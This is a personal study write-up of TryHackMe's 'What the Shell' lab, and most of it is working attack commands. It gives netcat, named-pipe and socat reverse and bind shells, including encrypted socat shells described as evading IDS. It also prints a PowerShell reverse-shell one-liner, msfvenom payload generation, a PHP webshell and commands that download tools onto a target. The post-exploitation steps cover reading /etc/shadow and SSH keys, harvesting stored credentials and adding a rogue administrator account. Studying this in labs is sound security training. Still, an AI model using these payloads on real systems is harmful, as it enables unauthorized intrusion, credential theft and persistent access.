# TryHackMe Lab - What The Shell 04-16-2025 Tags: #payloads #ReverseShell #netcat #Metasploit #msfvenom Links: [[Bibliography#Reverse Shell]] --- **Table of Contents** - [[#**Definition of a Shell**|**Definition of a Shell**]] - [[#**Tools**|**Tools**]] - [[#**Tools**#Netcat|Netcat]] - [[#**Tools**#Socat|Socat]] - [[#**Tools**#Metasploit -- multi/handler:|Metasploit -- multi/handler:]] - [[#Reverse Shell Example|Reverse Shell Example]] - [[#Bind Shell Example|Bind Shell Example]] - [[#Interactivity|Interactivity]] - [[#Netcat|Netcat]] - [[#Netcat#Netcat Stabilization|Netcat Stabilization]] - [[#Netcat Stabilization#Python Stabilization|Python Stabilization]] - [[#Netcat Stabilization#rlwrap|rlwrap]] - [[#Netcat Stabilization#Socat|Socat]] - [[#Netcat Stabilization#Changing the Terminal TTY size|Changing the Terminal TTY size]] - [[#Socat|Socat]] - [[#Socat#Reverse Shells|Reverse Shells]] - [[#Socat#Bind Shells|Bind Shells]] - [[#Socat#A Stable Linux TTY Reverse Shell|A Stable Linux TTY Reverse Shell]] - [[#Socat#Getting an Interactive Shell with Socat|Getting an Interactive Shell with Socat]] - [[#Socat#Socat Encrypted Shells|Socat Encrypted Shells]] - [[#Common Payloads|Common Payloads]] - [[#Common Payloads#Option 1: Easy Mode (if your version of Netcat supports `-e`)|Option 1: Easy Mode (if your version of Netcat supports `-e`)]] - [[#Option 1: Easy Mode (if your version of Netcat supports `-e`)#Bind Shell:|Bind Shell:]] - [[#Option 1: Easy Mode (if your version of Netcat supports `-e`)#Reverse Shell:|Reverse Shell:]] - [[#Common Payloads#Option 2: Safer Workaround (for Linux Netcat without `-e`)|Option 2: Safer Workaround (for Linux Netcat without `-e`)]] - [[#Option 2: Safer Workaround (for Linux Netcat without `-e`)#Create a Bind Shell Listener|Create a Bind Shell Listener]] - [[#Option 2: Safer Workaround (for Linux Netcat without `-e`)#Send a Reverse Shell|Send a Reverse Shell]] - [[#Option 2: Safer Workaround (for Linux Netcat without `-e`)#Attacking a Windows Server|Attacking a Windows Server]] - [[#msfvenom|msfvenom]] - [[#Metasploit multi/handler|Metasploit multi/handler]] - [[#Webshells|Webshells]] - [[#Next Steps After Achieving a Shell|Next Steps After Achieving a Shell]] - [[#Next Steps After Achieving a Shell#Linux|Linux]] - [[#Next Steps After Achieving a Shell#Windows|Windows]] - [[#References|References]] --- The following is from TryhackMe's "What the Shell" Lab. The goal is to fully explore the tools that are being used to set up shells for attackers, as well as common tactics. Visit it and try it yourself [here](https://tryhackme.com/room/introtoshells)! This is a long one, so get ready to get shell-shocked! Hahaha....ha ## **Definition of a Shell** What is a shell? Crudely, it's the interface that we use when we interact with the operating system. There are two kinds of shells that we can try to force: 1. A **reverse shell**, on the remote server, initiates a connection back to us, which we then use to gain access into the victim. 1. This requires the set up of your network, along with a *listener* on your local machine 2. Generally easier to debug 2. A **bind shell**, which involves opening up a port on the remote server that we can then connect to. 1. The code executes on the target and starts a listener attached to a shell, which then opens up to the internet. 2. Doesn't require you to configure your network 3. May be blocked by outgoing firewalls protecting the target. ## **Tools** Examples of various tools are: - Netcat - Socat - Metasploit - multi/handler - Msfvenom ### Netcat The traditional tool. It can do things like: - banner grabbing during enumeration - receive reverse shells - Very unstable and easy to lose - Usually comes with most Linux distros ### Socat - Netcat on steroids. Can do all the things that netcat does, and more - Usually more stable - syntax is difficult - socat usually doesn't come with most Linux distros ### Metasploit -- multi/handler: - the `exploit/multi/handler` receives reverse shells like socat and netcat - stable - The only way to interact with a **meterpreter** shell - easiest way to handle staged payloads ## Reverse Shell Example Set up on the attacking machine: ```terminal sudo nc -nvlp 9001 ``` On the target: ```terminal nc <ip_address> <port> -e /bin/bash ``` This will allow the attacking machine to interact with the remote system. ## Bind Shell Example The following example uses a Windows machine. Command the target to start a listener and then execute `cmd.exe`: ```terminal nc -nvlp <port> -e "cmd.exe ``` And on the Attacking machine: ```terminal nc machine_ip <port> ``` ## Interactivity Shells can either be **interactive** or **non-interactive** **Interactive Shells** are standard CLI environments: bash, sh, powershell, etc. They allow you to interact with programs after executing them. **Non-Interactive Shells** are limited to programs that don't require user interaction to run properly. Running a command such as `whoami` will return a statement, because the system didn't need a user to complete the action, but running `ssh`, which usually prompts the user for some interaction (e.g. a password) won't return anything. Running an interactive command on a non-interactive shell *does* go somewhere...but where? Either way, they just don't work. The majority of simple **reverse** and **bind** shells are **non-interactive** ## Netcat `nc -nvlp <port>` Notes regarding the port number: - Any port can be used, so long as another service isn't using it - A port below 1024 will need to use `sudo` in the command - It's a good idea to use a well-known port (80, 443, 53) because it is more like to get past the outbound firewall rules of the target ### Netcat Stabilization Because netcat "shells" are actually **processes** that are running inside the shell, connections can be unstable or more difficult to use than a traditional terminal. On Linux, netcat can be further stabilized, with the following three techniques. 1. Python 2. rlwrap 3. Socat Stabilization on Windows is significantly harder #### Python Stabilization The following is only applicable to Linux. There are three stages: 1. Use `python -c 'import pty;pty.spawn("/bin/bash")'` to use Python to spawn a better features bash shell. *Some targets may need to have the version of Python specified* 2. Use `export TERM=xterm` to give access to term commands like `clear` 3. Background the shell using `Ctrl + Z` 4. On our local terminal use `stty raw -echo; fg` 1. This turns off our own terminal echo, giving us access to tab autocompletes, the arrow keys, and `Ctrl + C` to kill processes. 2. It also foregrounds the shell, completing the process. The shell is now interactive. Note that if the shell dies, any input in your own terminal won't show since we disabled terminal echo). To fix this, type `reset` and press enter. #### rlwrap rlwrap gives access to history, tab autocompletion, and the arrow keys. It's also not default installed on Kali. Install with `sudo apt install rlwrap` Use rlwrap with the following command: ```terminal rlwrap nc -nlvp <port> ``` This gives us a shell with more features, and is helpful when dealing with **Windows** shells. On a Linux machine, stabilize the shell further by using step three and four of the Python stabilization: 1. Background the shell using `Ctrl + Z` 2. On our local terminal use `stty raw -echo; fg` #### Socat A easy way to stabilize a shell is to use netcat to hop into a better-features socat shell. *Note*: This is really limited only to Linux targets, since a Socat shell is just as stable as a netcat shell on Windows (i.e not very). **For Linux** Transfer a [socat static compiled binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true) to the target. 1. Start up a webserver on the *attacking machine* using python's built in `http.server`, inside a directory containing the socat binary. This servers the current directory over HTTP. ```terminal sudo python3 -m http.server 80 ``` Note using `sudo` since port 80 is a privileged port 2. On the *target machine*, use the netcat shell to download the file. ```terminal wget <hacker_ip>/socat -O /tmp/socat ``` **For Windows:** in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed ```Powershell Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe ``` #### Changing the Terminal TTY size Normally, your terminal automatically changes the TTY size. When you get a reverse shell, you're usually dealing with a **very raw, limited shell**. Here's what can go wrong: 1. **No TTY (no terminal emulation)** You can't use commands like `sudo`, `nano`, or `vi` — they complain about "not a tty". 2. **Incorrect or missing TTY size** Programs will format output weirdly, not wrap text properly, or break interactive tools like `htop`, `less`, or text editors. 3. **Copy/paste & rendering bugs** The shell might misbehave if your terminal size doesn't match the remote shell's expectations. To correct the size, do the following: 1. Run `tty -a` and note values for "rows" and "columns" 2. In the reverse/bind shell, run `stty rows <noted_row_number>` and `stty cols <noted_column_number>`, inputting the noted rows and columns from before. ## Socat The syntax for socat is different. ### Reverse Shells The following is a basic reverse shell listener in socat: ```cmd socat TCP-L:<port> - ``` on **Windows** ```Powershell socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes ``` *Note: the 'pipes' option forces powershell or cmd.exe to use Unix style input and output* On **Linux** ```terminal socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li" ``` ### Bind Shells For a **Linux** target, use: ```Terminal socat TCP-L:<port> EXEC:"bash -li" ``` For a **Windows** target, use: ```Powershell socat TCP-L:<PORT> EXEC:powershell.exe,pipes ``` Then on our attacking machine use: ```terminal socat TCP:<TARGET-IP>:<TARGET-PORT> - ``` ### A Stable Linux TTY Reverse Shell This is one of the most use applications of Socat. Use: ```terminal socat TCP-L:<port> FILE:`tty`,raw,echo=0 ``` This comman passes a current TTY as a file and sets the echo to 0, which is more or less the same as using `Ctrl + Z` and `stty raw -echo; fg`. This makes the connection stable with a full TTY. ### Getting an Interactive Shell with Socat You can use almost any payload to connect back to a basic listener, but if you want a **fully interactive and stable shell**, you need to use a special **socat command** on the target machine. Most systems **don’t have socat installed by default**, but you can upload this [**precompiled socat binary**](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true) and run it. On the victim machine: ```terminal socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane ``` What it does — in simple terms: 1. **Connects back** to your attacker's listener (the `TCP:<ip>:<port>` part). 2. **Starts a proper bash shell** (`EXEC:"bash -li"`). 3. **Adds options** to make the shell stable and usable: - **pty** makes it act like a real terminal and reduces weird shell behavior - **stderr** sends error messages back to you - **sigint** lets you use `Ctrl + C` - **setsid** lets you start the shell in it's own session (good for process control) - **sane** resets the terminal settings to keep things normal ### Socat Encrypted Shells Encrypted shells can't be spied on without the decryption key and can often bypass IDS as a result. use the `OPENSSL` flag instead of `TCP` in the Socat command. In order to use this, certificates need to be created first. **Reverse Shell** 1. On the attacking machine: ```terminal openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt ``` This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When filling in information about the certificate, leave it blank, or filled randomly. 2. Merge the new files into a **.pem** file: ```terminal cat shell.key shell.crt > shell.pem ``` 3. Now set up the reverse shell listener: ```terminal socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 - ``` `verify=0` tells the conection to ignore trying to validate the self-signed certificate. Make sure that the certificate is present on the listening machine, or risk failing. To complete the reverse shell; ```terminal socat OPENSSL:<attacker_ip>:<PORT>,verify=0 EXEC:/bin/bash ``` Because the victim is using `verify=0`, the victim doesn't need to trust or have the attacker's public key. To combine the stable TTY reverse shell and the interactive shell: **Attacker** ```terminal socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0 ``` Victim connects back with: ```terminal socat openssl:10.10.10.5:53,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane ``` **Bind Shell** Target: `socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes` Attacker: `socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -` The certificate must be used with the listener, so copying the PEM file across for a bind shell is required, even for a Windows machine. ## Common Payloads ### Option 1: Easy Mode (if your version of Netcat supports `-e`) Some versions of Netcat (like on Windows or older Linux versions) have a `-e` option. That lets you run a program (like `/bin/bash`) when someone connects to the listener. #### Bind Shell: `nc -lvnp <PORT> -e /bin/bash` You run this on the **target machine** — when you connect to it, you get a shell. #### Reverse Shell: `nc <ATTACKER-IP> <PORT> -e /bin/bash` You run this on the **target**, and it connects back to you with a shell. *Most modern Netcat versions **remove** `-e` because it's dangerous.* ### Option 2: Safer Workaround (for Linux Netcat without `-e`) If `-e` isn't available, we can **simulate the same behavior** using a named pipe. #### Create a Bind Shell Listener `mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f` **What it's doing** - `mkfifo /tmp/f`: Makes a special file (a "named pipe") that lets processes talk to each other. - Starts **Netcat**, listening on a port. - Any input you type gets sent into `/bin/sh` (the shell). - The shell’s output gets sent back through the pipe to you. - `rm /tmp/f`: Cleans up the pipe afterward. You don’t need to fully understand how the pipe works — just know this command gives you a working **bind shell** without needing `-e`. #### Send a Reverse Shell `mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f` #### Attacking a Windows Server When targeting a modern Windows Server, it is very common to require a Powershell reverse shell, so we'll be covering the standard one-liner PSH reverse shell here. This command is very convoluted, so for the sake of simplicity it will not be explained directly here. It is, however, an extremely useful one-liner to keep on hand: ```powershell powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` In order to use this, we need to replace `<IP>` and `<port>` with an appropriate IP and choice of port. It can then be copied into a cmd.exe shell (or another method of executing commands on a Windows server, such as a webshell) and executed, resulting in a reverse shell. ## msfvenom [[msfvenom]] is part of the Metasploit framework and generates code mostly for reverse and bind shells. - use in lower level exploit development to generate shellcode in hex to take advantage of exploits such as the Buffer Overflow - can be used to generate payloads in multiple formats Using msfvenom looks like: ```terminal msfvenom -p <payload> <options> ``` which, in action, would look like ```terminal msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port> ``` - **-f** specifies *exe* as the output format (an executable in this example) - **-o** specifies the output location and filename for the payload - **LHOST=listen-IP** specifies the IP to connect back to (i.e. the attacker IP) - **LPORT** specifies the port on the attacker machine to connect to. ## Metasploit multi/handler Metasploit Multi/Handler is used to catch reverse shells. 1. Open Metasploit with `msfconsole` 2. Type `use multi/handler`, and press enter Metasploit doesn't listen on all network interfaces like netcat or socat, so make sure to specify the `LHOST`. Use these commands to set the payload, LHOST, and LPORT: 1. `set PAYLOAD <payload>` 2. `set LHOST <listen-address>` 3. `set LPORT <listen-port>` Then start the listener, running as a job in the background: `exploit -j` If using a port under 1024, make sure to use `sudo`! When ready, foreground multi/handler again `sessions <multi/handler session number>` ## Webshells A "webshell" is a colloquial term for a script that runs inside a webserver, running off of PHP or javascript for example, which is exploited to run code on the server. Commands and arguments are typically entered into webpage, into the URL for example, to execute, which then return and write the results to the webpage. This is often used to hop into a full reverse/bind shell. An example of a basic PHP line: ```php <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?> ``` Then, if we had the following URL `victim.com/shell.php?cmd=xyz` We could hypothetically run our commands into the `?cmd` argument, like `whoami` or `hostname` for example. Note that most generic, language specific (e.g. PHP) reverse shells are written for Unix based targets such as Linux webservers. They will not work on Windows by default. ## Next Steps After Achieving a Shell The goal is look for a better foothold in the machine, as a remote shell is never as capable as a native shell. ### Linux For Linux, the most common next step is to look for opportunities to gain access to a user account: - looking for SSH keys at `/home/<user>/.ssh` - looking at `/etc/shadow` or `/etc/password` These would give quick SSH access to the machine (if SSH is running) ### Windows You can sometimes find passwords for running services in the registry. - VNC servers may have plaintext passwords stored in the registry - some versions of Filezilla FTP also leave credentials in an XML file: `C:\Program Files\FileZilla Server\FileZilla Server.xml`  or    `C:\xampp\FileZilla Server\FileZilla Server.xml` If you are able to run a shell as the SYSTEM user, or as an admin account, you could also just add your own admin-level account to the machine, then use RDP, psexec, or some other method to connect: `net user <username> <password> /add` then `net localgroup administrators <username> /add` --- Phew! That was a long one. Thanks for taking the time for reading, and good luck creating (s)hell out there! Haha...ha.... --- ## References >TryHackMe Lab, *"Intro to Shells"*: https://tryhackme.com/room/introtoshells